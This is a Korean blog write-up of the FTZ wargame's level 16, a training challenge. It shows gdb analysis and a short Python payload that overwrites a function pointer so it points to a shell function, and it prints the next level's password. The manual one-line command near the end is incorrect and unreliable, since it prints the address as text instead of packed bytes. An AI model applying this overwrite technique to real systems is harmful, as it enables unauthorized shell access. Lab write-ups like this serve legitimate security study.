Wargame/FTZ

[FTZ]level16

D4tai1 2019. 9. 8.

아...

모르고 level16 구경만 하려고 했으나..

 

[그림1] hint 파일 확인

함수포인터가 두둥!!

보고나서 못 본 척하고 자려니

침대에 누워서 천장에 스택을 

그리고 있을 것만 같아서..

 

그러지 않기 위해

해결하고 자려고 합니다.

 

[그림2] gdb로 확인

main+6을 보면

[ebp-16]에 0x8048500을 넣고있네요?

 

main+24를 보면 

buf의 시작주소는

ebp-56이네요.

 

공격할 시나리오를 그려보면

함수포인터가 가리키는 곳이 

현재는 printit이지만

shell을 가리키도록 변조하면

될 것 같습니다.

 

[그림3] 함수의 주소 확인

[그림2]의 main+6에 있는 주소를 보았습니다.

printit의 주소네요.

 

shell의 주소도 확인해 볼까요?

0x80484d0이네요.

 

[그림4] "r AAAA"를 넣고 실행

main+33에 breakpoint를 걸었습니다.

딱히 여기에 걸지 않고 다른 곳에 breakpoint를 걸어도

괜찮습니다.

 

[그림5] printit 주소가 담겨있는 장소

이정도면 이제 공격코드 바로 짤 수 있겠죠?

 

공격의 성공률을 높이기 위해 

전부 shell의 주소로 덮겠습니다.

 

0x80484d0*11

 

공격코드 짤 것도 없네요..

하하..

 

뒤에 더미에 shell의 주소를 더 넣어도 되지만

11번만 넣어보겠습니다.

 

import os
import struct

p32 = lambda x:struct.pack('<L', x)

shell_addr = 0x080484d0

payload = p32(shell_addr)*11

print payload

 

[그림6] 공격스크립트를 이용한 공격

손으로 적으려면

(python -c 'print "0x080484d0"*11'; cat) | ./attackme

 이렇게 작성하셔도 됩니다.

 

[그림7] clear

Level17 Password is "king poetic".

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level18  (0) 2019.09.08
[FTZ]level17  (0) 2019.09.08
[FTZ]level15  (0) 2019.09.08
[FTZ]level14  (0) 2019.09.08
[FTZ]level13  (0) 2019.09.07

댓글